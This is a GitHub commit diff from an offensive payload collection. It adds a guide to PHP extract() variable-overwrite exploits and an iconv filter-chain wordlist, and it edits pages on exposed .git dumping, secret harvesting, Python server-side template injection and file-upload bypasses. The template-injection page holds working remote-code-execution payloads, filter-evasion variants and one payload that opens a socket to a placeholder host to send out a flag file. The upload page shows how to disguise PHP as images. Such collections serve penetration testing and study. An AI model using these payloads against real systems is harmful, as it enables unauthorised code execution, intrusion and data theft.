mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings
synced 2025-12-06 08:54:40 +01:00
External Variable Modification
This commit is contained in:
parent
0e93caed81
commit
64b36854a7
5 changed files with 227 additions and 56 deletions
98
External Variable Modification/README.md
Normal file
98
External Variable Modification/README.md
Normal file
|
|
@ -0,0 +1,98 @@
|
||||||
|
# External Variable Modification
|
||||||
|
|
||||||
|
> External Variable Modification Vulnerability occurs when a web application improperly handles user input, allowing attackers to overwrite internal variables. In PHP, functions like extract($_GET), extract($_POST), or import_request_variables() can be abused if they import user-controlled data into the global scope without proper validation. This can lead to security issues such as unauthorized changes to application logic, privilege escalation, or bypassing security controls.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Methodology](#methodology)
|
||||||
|
* [Overwriting Critical Variables](#overwriting-critical-variables)
|
||||||
|
* [Poisoning File Inclusion](#poisoning-file-inclusion)
|
||||||
|
* [Global Variable Injection](#global-variable-injection)
|
||||||
|
* [Remediations](#remediations)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
|
The `extract()` function in PHP imports variables from an array into the current symbol table. While it may seem convenient, it can introduce serious security risks, especially when handling user-supplied data.
|
||||||
|
|
||||||
|
* It allows overwriting existing variables.
|
||||||
|
* It can lead to **variable pollution**, impacting security mechanisms.
|
||||||
|
* It can be used as a **gadget** to trigger other vulnerabilities like Remote Code Execution (RCE) and Local File Inclusion (LFI).
|
||||||
|
|
||||||
|
By default, `extract()` uses `EXTR_OVERWRITE`, meaning it **replaces existing variables** if they share the same name as keys in the input array.
|
||||||
|
|
||||||
|
### Overwriting Critical Variables
|
||||||
|
|
||||||
|
If `extract()` is used in a script that relies on specific variables, an attacker can manipulate them.
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
$authenticated = false;
|
||||||
|
extract($_GET);
|
||||||
|
if ($authenticated) {
|
||||||
|
echo "Access granted!";
|
||||||
|
} else {
|
||||||
|
echo "Access denied!";
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
|
||||||
|
**Exploitation:**
|
||||||
|
|
||||||
|
In this example, the use of `extract($_GET)` allow an attacker to set the `$authenticated` variable to `true`:
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
http://example.com/vuln.php?authenticated=true
|
||||||
|
http://example.com/vuln.php?authenticated=1
|
||||||
|
```
|
||||||
|
|
||||||
|
### Poisoning File Inclusion
|
||||||
|
|
||||||
|
If `extract()` is combined with file inclusion, attackers can control file paths.
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
$page = "config.php";
|
||||||
|
extract($_GET);
|
||||||
|
include "$page";
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
|
||||||
|
**Exploitation:**
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
http://example.com/vuln.php?page=../../etc/passwd
|
||||||
|
```
|
||||||
|
|
||||||
|
### Global Variable Injection
|
||||||
|
|
||||||
|
:warning: As of PHP 8.1.0, write access to the entire `$GLOBALS` array is no longer supported.
|
||||||
|
|
||||||
|
Overwriting `$GLOBALS` when an application calls `extract` function on untrusted value:
|
||||||
|
|
||||||
|
```php
|
||||||
|
extract($_GET);
|
||||||
|
```
|
||||||
|
|
||||||
|
An attacker can manipulate **global variables**:
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
http://example.com/vuln.php?GLOBALS[admin]=1
|
||||||
|
```
|
||||||
|
|
||||||
|
## Remediations
|
||||||
|
|
||||||
|
Use `EXTR_SKIP` to prevent overwriting:
|
||||||
|
|
||||||
|
```php
|
||||||
|
extract($_GET, EXTR_SKIP);
|
||||||
|
```
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [CWE-473: PHP External Variable Modification - Common Weakness Enumeration - November 19, 2024](https://cwe.mitre.org/data/definitions/473.html)
|
||||||
|
* [CWE-621: Variable Extraction Error - Common Weakness Enumeration - November 19, 2024](https://cwe.mitre.org/data/definitions/621.html)
|
||||||
|
* [Function extract - PHP Documentation - March 21, 2001](https://www.php.net/manual/en/function.extract.php)
|
||||||
|
* [$GLOBALS variables - PHP Documentation - April 30, 2008](https://www.php.net/manual/en/reserved.variables.globals.php)
|
||||||
|
* [The Ducks - HackThisSite - December 14, 2016](https://github.com/HackThisSite/CTF-Writeups/blob/master/2016/SCTF/Ducks/README.md)
|
||||||
|
* [Extracttheflag! - Orel / WindTeam - February 28, 2024](https://ctftime.org/writeup/38076)
|
||||||
50
File Inclusion/Intruders/php-filter-iconv.txt
Normal file
50
File Inclusion/Intruders/php-filter-iconv.txt
Normal file
|
|
@ -0,0 +1,50 @@
|
||||||
|
convert.iconv.437.CP930
|
||||||
|
convert.iconv.CP1390.CSIBM932
|
||||||
|
convert.iconv.CP273.CP1122
|
||||||
|
convert.iconv.CP285.CP280
|
||||||
|
convert.iconv.CSISO5427CYRILLIC.855
|
||||||
|
convert.iconv.CSN_369103.CP770
|
||||||
|
convert.iconv.CSUNICODE.CSUNICODE
|
||||||
|
convert.iconv.CSUNICODE.UCS-2BE
|
||||||
|
convert.iconv.ES.IBM037
|
||||||
|
convert.iconv.ES.IBM930
|
||||||
|
convert.iconv.IBM037.CP1250
|
||||||
|
convert.iconv.IBM037.IBM256
|
||||||
|
convert.iconv.IBM037.IBM280
|
||||||
|
convert.iconv.IBM037.IBM860
|
||||||
|
convert.iconv.IBM1122.IBM273
|
||||||
|
convert.iconv.IBM1137.8859_1
|
||||||
|
convert.iconv.IBM1141.8859_1
|
||||||
|
convert.iconv.IBM1141.IBM4517
|
||||||
|
convert.iconv.IBM1145.IBM850
|
||||||
|
convert.iconv.IBM1148.EBCDIC-AT-DE-A
|
||||||
|
convert.iconv.IBM1149.MAC-SAMI
|
||||||
|
convert.iconv.IBM1390.IBM932
|
||||||
|
convert.iconv.IBM1390.IBM939
|
||||||
|
convert.iconv.IBM1399.IBM930
|
||||||
|
convert.iconv.IBM256.IBM273
|
||||||
|
convert.iconv.IBM273.CWI
|
||||||
|
convert.iconv.IBM273.ES
|
||||||
|
convert.iconv.IBM273.IBM420
|
||||||
|
convert.iconv.IBM273.IT
|
||||||
|
convert.iconv.IBM273.PT
|
||||||
|
convert.iconv.IBM273.US
|
||||||
|
convert.iconv.IBM277.ISO-8859-9E
|
||||||
|
convert.iconv.IBM278.IBM861
|
||||||
|
convert.iconv.IBM278.MIK
|
||||||
|
convert.iconv.IBM284.IBM278
|
||||||
|
convert.iconv.IBM297.IBM273
|
||||||
|
convert.iconv.IBM297.IBM280
|
||||||
|
convert.iconv.IBM4971.ARMSCII-8
|
||||||
|
convert.iconv.IBM870.MAC-IS
|
||||||
|
convert.iconv.L1.UCS-4
|
||||||
|
convert.iconv.L1.UCS-4LE
|
||||||
|
convert.iconv.L1.UTF16LE
|
||||||
|
convert.iconv.L1.utf7
|
||||||
|
convert.iconv.L1.UTF7
|
||||||
|
convert.iconv.UCS-4LE.10646-1:1993
|
||||||
|
convert.iconv.UTF16.UTF16
|
||||||
|
convert.iconv..UTF7
|
||||||
|
convert.iconv.UTF8.CP930
|
||||||
|
convert.iconv.UTF8.IBM1140
|
||||||
|
convert.iconv.VISCII.MSZ_7795.3
|
||||||
|
|
@ -14,12 +14,12 @@
|
||||||
* [GitHack](#githack)
|
* [GitHack](#githack)
|
||||||
* [GitTools](#gittools)
|
* [GitTools](#gittools)
|
||||||
* [Harvesting secrets](#harvesting-secrets)
|
* [Harvesting secrets](#harvesting-secrets)
|
||||||
|
* [noseyparker](#noseyparker)
|
||||||
* [trufflehog](#trufflehog)
|
* [trufflehog](#trufflehog)
|
||||||
* [Yar](#yar)
|
* [Yar](#yar)
|
||||||
* [Gitrob](#gitrob)
|
* [Gitrob](#gitrob)
|
||||||
* [Gitleaks](#gitleaks)
|
* [Gitleaks](#gitleaks)
|
||||||
* [Refererences]
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Methodology
|
## Methodology
|
||||||
|
|
||||||
|
|
@ -27,22 +27,24 @@ The following examples will create either a copy of the .git or a copy of the cu
|
||||||
|
|
||||||
Check for the following files, if they exist you can extract the .git folder.
|
Check for the following files, if they exist you can extract the .git folder.
|
||||||
|
|
||||||
- `.git/config`
|
* `.git/config`
|
||||||
- `.git/HEAD`
|
* `.git/HEAD`
|
||||||
- `.git/logs/HEAD`
|
* `.git/logs/HEAD`
|
||||||
|
|
||||||
|
|
||||||
### Recovering file contents from .git/logs/HEAD
|
### Recovering file contents from .git/logs/HEAD
|
||||||
|
|
||||||
1. Check for 403 Forbidden or directory listing to find the `/.git/` directory
|
* Check for 403 Forbidden or directory listing to find the `/.git/` directory
|
||||||
2. Git saves all information in `.git/logs/HEAD` (try lowercase `head` too)
|
* Git saves all information in `.git/logs/HEAD` (try lowercase `head` too)
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git
|
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git
|
||||||
15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000 commit: Initial.
|
15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000 commit: Initial.
|
||||||
26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000 commit: Whoops! Remove flag.
|
26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000 commit: Whoops! Remove flag.
|
||||||
6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000 commit: Prevent directory listing.
|
6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000 commit: Prevent directory listing.
|
||||||
```
|
```
|
||||||
3. Access the commit using the hash
|
|
||||||
|
* Access the commit using the hash
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
# create an empty .git repository
|
# create an empty .git repository
|
||||||
git init test
|
git init test
|
||||||
|
|
@ -63,7 +65,9 @@ Check for the following files, if they exist you can extract the .git folder.
|
||||||
committer Michael <michael@easyctf.com> 1489390329 +0000
|
committer Michael <michael@easyctf.com> 1489390329 +0000
|
||||||
Initial.
|
Initial.
|
||||||
```
|
```
|
||||||
4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
|
|
||||||
|
* Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
|
wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
|
||||||
mkdir .git/object/32
|
mkdir .git/object/32
|
||||||
|
|
@ -76,7 +80,9 @@ Check for the following files, if they exist you can extract the .git folder.
|
||||||
100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1 index.html
|
100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1 index.html
|
||||||
040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8 js
|
040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8 js
|
||||||
```
|
```
|
||||||
5. Read the data (flag.txt)
|
|
||||||
|
* Read the data (flag.txt)
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
|
wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
|
||||||
mkdir .git/object/cb
|
mkdir .git/object/cb
|
||||||
|
|
@ -84,10 +90,9 @@ Check for the following files, if they exist you can extract the .git folder.
|
||||||
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
|
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
### Recovering file contents from .git/index
|
### Recovering file contents from .git/index
|
||||||
|
|
||||||
Use the git index file parser https://pypi.python.org/pypi/gin (python3).
|
Use the git index file parser <https://pypi.python.org/pypi/gin> (python3).
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
pip3 install gin
|
pip3 install gin
|
||||||
|
|
@ -105,7 +110,6 @@ name = CRLF injection/README.md
|
||||||
sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
|
sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
### Automatic recovery
|
### Automatic recovery
|
||||||
|
|
@ -113,6 +117,7 @@ sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
|
||||||
#### git-dumper.py
|
#### git-dumper.py
|
||||||
|
|
||||||
* [arthaud/git-dumper](https://github.com/arthaud/git-dumper)
|
* [arthaud/git-dumper](https://github.com/arthaud/git-dumper)
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
pip install -r requirements.txt
|
pip install -r requirements.txt
|
||||||
./git-dumper.py http://web.site/.git ~/website
|
./git-dumper.py http://web.site/.git ~/website
|
||||||
|
|
@ -175,16 +180,27 @@ GitHack.py http://web.site/.git/
|
||||||
git checkout -- .
|
git checkout -- .
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
### Harvesting secrets
|
### Harvesting secrets
|
||||||
|
|
||||||
|
#### noseyparker
|
||||||
|
|
||||||
|
> [praetorian-inc/noseyparker](https://github.com/praetorian-inc/noseyparker) - Nosey Parker is a command-line tool that finds secrets and sensitive information in textual data and Git history.
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
git clone https://github.com/trufflesecurity/test_keys
|
||||||
|
docker run -v "$PWD":/scan ghcr.io/praetorian-inc/noseyparker:latest scan --datastore datastore.np ./test_keys/
|
||||||
|
docker run -v "$PWD":/scan ghcr.io/praetorian-inc/noseyparker:latest report --color always
|
||||||
|
noseyparker scan --datastore np.noseyparker --git-url https://github.com/praetorian-inc/noseyparker
|
||||||
|
noseyparker scan --datastore np.noseyparker --github-user octocat
|
||||||
|
```
|
||||||
|
|
||||||
#### trufflehog
|
#### trufflehog
|
||||||
|
|
||||||
> Searches through git repositories for high entropy strings and secrets, digging deep into commit history.
|
> Searches through git repositories for high entropy strings and secrets, digging deep into commit history.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
pip install truffleHog # https://github.com/dxa4481/truffleHog
|
pip install truffleHog
|
||||||
truffleHog --regex --entropy=False https://github.com/dxa4481/truffleHog.git
|
truffleHog --regex --entropy=False https://github.com/trufflesecurity/trufflehog.git
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Yar
|
#### Yar
|
||||||
|
|
@ -211,21 +227,23 @@ gitrob [options] target [target2] ... [targetN]
|
||||||
> Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories.
|
> Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories.
|
||||||
|
|
||||||
* Run gitleaks against a public repository
|
* Run gitleaks against a public repository
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
|
docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
|
||||||
```
|
```
|
||||||
|
|
||||||
* Run gitleaks against a local repository already cloned into /tmp/
|
* Run gitleaks against a local repository already cloned into /tmp/
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/gitleaks
|
docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/gitleaks
|
||||||
```
|
```
|
||||||
|
|
||||||
* Run gitleaks against a specific Github Pull request
|
* Run gitleaks against a specific Github Pull request
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000
|
docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [Gitrob: Now in Go - Michael Henriksen - January 24, 2024](https://michenriksen.com/blog/gitrob-now-in-go/)
|
* [Gitrob: Now in Go - Michael Henriksen - January 24, 2024](https://michenriksen.com/blog/gitrob-now-in-go/)
|
||||||
|
|
|
||||||
|
|
@ -2,7 +2,6 @@
|
||||||
|
|
||||||
> Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious input into a server-side template, causing arbitrary code execution on the server. In Python, SSTI can occur when using templating engines such as Jinja2, Mako, or Django templates, where user input is included in templates without proper sanitization.
|
> Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious input into a server-side template, causing arbitrary code execution on the server. In Python, SSTI can occur when using templating engines such as Jinja2, Mako, or Django templates, where user input is included in templates without proper sanitization.
|
||||||
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
- [Templating Libraries](#templating-libraries)
|
- [Templating Libraries](#templating-libraries)
|
||||||
|
|
@ -35,7 +34,6 @@
|
||||||
- [Mako - Remote Command Execution](#mako---remote-command-execution)
|
- [Mako - Remote Command Execution](#mako---remote-command-execution)
|
||||||
- [References](#references)
|
- [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Templating Libraries
|
## Templating Libraries
|
||||||
|
|
||||||
| Template Name | Payload Format |
|
| Template Name | Payload Format |
|
||||||
|
|
@ -49,7 +47,6 @@
|
||||||
| Pystache | `{{ }}` |
|
| Pystache | `{{ }}` |
|
||||||
| Tornado | `{{ }}` |
|
| Tornado | `{{ }}` |
|
||||||
|
|
||||||
|
|
||||||
## Django
|
## Django
|
||||||
|
|
||||||
Django template language supports 2 rendering engines by default: Django Templates (DT) and Jinja2. Django Templates is much simpler engine. It does not allow calling of passed object functions and impact of SSTI in DT is often less severe than in Jinja2.
|
Django template language supports 2 rendering engines by default: Django Templates (DT) and Jinja2. Django Templates is much simpler engine. It does not allow calling of passed object functions and impact of SSTI in DT is often less severe than in Jinja2.
|
||||||
|
|
@ -62,7 +59,6 @@ Django template language supports 2 rendering engines by default: Django Templat
|
||||||
ih0vr{{364|add:733}}d121r # Burp Payload -> ih0vr1097d121r
|
ih0vr{{364|add:733}}d121r # Burp Payload -> ih0vr1097d121r
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
### Django - Cross-Site Scripting
|
### Django - Cross-Site Scripting
|
||||||
|
|
||||||
```python
|
```python
|
||||||
|
|
@ -84,17 +80,17 @@ ih0vr{{364|add:733}}d121r # Burp Payload -> ih0vr1097d121r
|
||||||
|
|
||||||
### Django - Admin Site URL leak
|
### Django - Admin Site URL leak
|
||||||
|
|
||||||
|
```python
|
||||||
```
|
|
||||||
{% include 'admin/base.html' %}
|
{% include 'admin/base.html' %}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Django - Admin Username And Password Hash Leak
|
### Django - Admin Username And Password Hash Leak
|
||||||
|
|
||||||
|
```ps1
|
||||||
```
|
|
||||||
{% load log %}{% get_admin_log 10 as log %}{% for e in log %}
|
{% load log %}{% get_admin_log 10 as log %}{% for e in log %}
|
||||||
{{e.user.get_username}} : {{e.user.password}}{% endfor %}
|
{{e.user.get_username}} : {{e.user.password}}{% endfor %}
|
||||||
|
|
||||||
|
{% get_admin_log 10 as admin_log for_user user %}
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
@ -137,7 +133,7 @@ If the Debug Extension is enabled, a `{% debug %}` tag will be available to dump
|
||||||
<pre>{% debug %}</pre>
|
<pre>{% debug %}</pre>
|
||||||
```
|
```
|
||||||
|
|
||||||
Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement
|
Source: <https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement>
|
||||||
|
|
||||||
### Jinja2 - Dump All Used Classes
|
### Jinja2 - Dump All Used Classes
|
||||||
|
|
||||||
|
|
@ -202,7 +198,6 @@ def hook(*args, **kwargs):
|
||||||
}}
|
}}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
#### Exploit The SSTI By Calling os.popen().read()
|
#### Exploit The SSTI By Calling os.popen().read()
|
||||||
|
|
||||||
```python
|
```python
|
||||||
|
|
@ -225,7 +220,7 @@ We can use these shorter payloads:
|
||||||
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
||||||
```
|
```
|
||||||
|
|
||||||
Source [@podalirius_](https://twitter.com/podalirius_) : https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/
|
Source [@podalirius_](https://twitter.com/podalirius_) : <https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/>
|
||||||
|
|
||||||
With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template:
|
With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template:
|
||||||
|
|
||||||
|
|
@ -233,7 +228,7 @@ With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a pa
|
||||||
{{ lipsum.__globals__["os"].popen('id').read() }}
|
{{ lipsum.__globals__["os"].popen('id').read() }}
|
||||||
```
|
```
|
||||||
|
|
||||||
Source: https://twitter.com/podalirius_/status/1655970628648697860
|
Source: <https://twitter.com/podalirius_/status/1655970628648697860>
|
||||||
|
|
||||||
#### Exploit The SSTI By Calling subprocess.Popen
|
#### Exploit The SSTI By Calling subprocess.Popen
|
||||||
|
|
||||||
|
|
@ -250,7 +245,7 @@ Source: https://twitter.com/podalirius_/status/1655970628648697860
|
||||||
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
|
||||||
```
|
```
|
||||||
|
|
||||||
Simply modification of payload to clean up output and facilitate command input (https://twitter.com/SecGus/status/1198976764351066113)
|
Simply modification of payload to clean up output and facilitate command input (<https://twitter.com/SecGus/status/1198976764351066113>)
|
||||||
In another GET parameter include a variable named "input" that contains the command you want to run (For example: &input=ls)
|
In another GET parameter include a variable named "input" that contains the command you want to run (For example: &input=ls)
|
||||||
|
|
||||||
```python
|
```python
|
||||||
|
|
@ -303,14 +298,14 @@ Bypassing `|join`
|
||||||
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
|
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
|
||||||
```
|
```
|
||||||
|
|
||||||
Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by https://twitter.com/SecGus:
|
Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by <https://twitter.com/SecGus>:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
|
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
||||||
## Tornado
|
## Tornado
|
||||||
|
|
||||||
### Tornado - Basic Injection
|
### Tornado - Basic Injection
|
||||||
|
|
@ -329,15 +324,11 @@ Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by http
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
||||||
## Mako
|
## Mako
|
||||||
|
|
||||||
[Official website](https://www.makotemplates.org/)
|
[Official website](https://www.makotemplates.org/)
|
||||||
> Mako is a template library written in Python. Conceptually, Mako is an embedded Python (i.e. Python Server Page) language, which refines the familiar ideas of componentized layout and inheritance to produce one of the most straightforward and flexible models available, while also maintaining close ties to Python calling and scoping semantics.
|
> Mako is a template library written in Python. Conceptually, Mako is an embedded Python (i.e. Python Server Page) language, which refines the familiar ideas of componentized layout and inheritance to produce one of the most straightforward and flexible models available, while also maintaining close ties to Python calling and scoping semantics.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
```python
|
```python
|
||||||
<%
|
<%
|
||||||
import os
|
import os
|
||||||
|
|
@ -414,7 +405,6 @@ PoC :
|
||||||
<module 'os' from '/usr/local/lib/python3.10/os.py'>
|
<module 'os' from '/usr/local/lib/python3.10/os.py'>
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [Cheatsheet - Flask & Jinja2 SSTI - phosphore - September 3, 2018](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti)
|
- [Cheatsheet - Flask & Jinja2 SSTI - phosphore - September 3, 2018](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti)
|
||||||
|
|
|
||||||
|
|
@ -95,10 +95,25 @@ Here is a list of the default extensions for web shell pages in the selected lan
|
||||||
|
|
||||||
MIME type, a MIME type (Multipurpose Internet Mail Extensions type) is a standardized identifier that tells browsers, servers, and applications what kind of file or data is being handled. It consists of a type and a subtype, separated by a slash. Change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif` to disguise the content as an image.
|
MIME type, a MIME type (Multipurpose Internet Mail Extensions type) is a standardized identifier that tells browsers, servers, and applications what kind of file or data is being handled. It consists of a type and a subtype, separated by a slash. Change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif` to disguise the content as an image.
|
||||||
|
|
||||||
* `Content-Type : image/gif`
|
* Common images content-types:
|
||||||
* `Content-Type : image/png`
|
|
||||||
* `Content-Type : image/jpeg`
|
```cs
|
||||||
* Content-Type wordlist: [SecLists/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
Content-Type: image/gif
|
||||||
|
Content-Type: image/png
|
||||||
|
Content-Type: image/jpeg
|
||||||
|
```
|
||||||
|
|
||||||
|
* Content-Type wordlist: [SecLists/web-all-content-types.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-all-content-types.txt)
|
||||||
|
|
||||||
|
```cs
|
||||||
|
text/php
|
||||||
|
text/x-php
|
||||||
|
application/php
|
||||||
|
application/x-php
|
||||||
|
application/x-httpd-php
|
||||||
|
application/x-httpd-php-source
|
||||||
|
```
|
||||||
|
|
||||||
* Set the `Content-Type` twice, once for unallowed type and once for allowed.
|
* Set the `Content-Type` twice, once for unallowed type and once for allowed.
|
||||||
|
|
||||||
[Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures) - Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
|
[Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures) - Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
|
||||||
|
|
|
||||||
Loading…
Reference in a new issue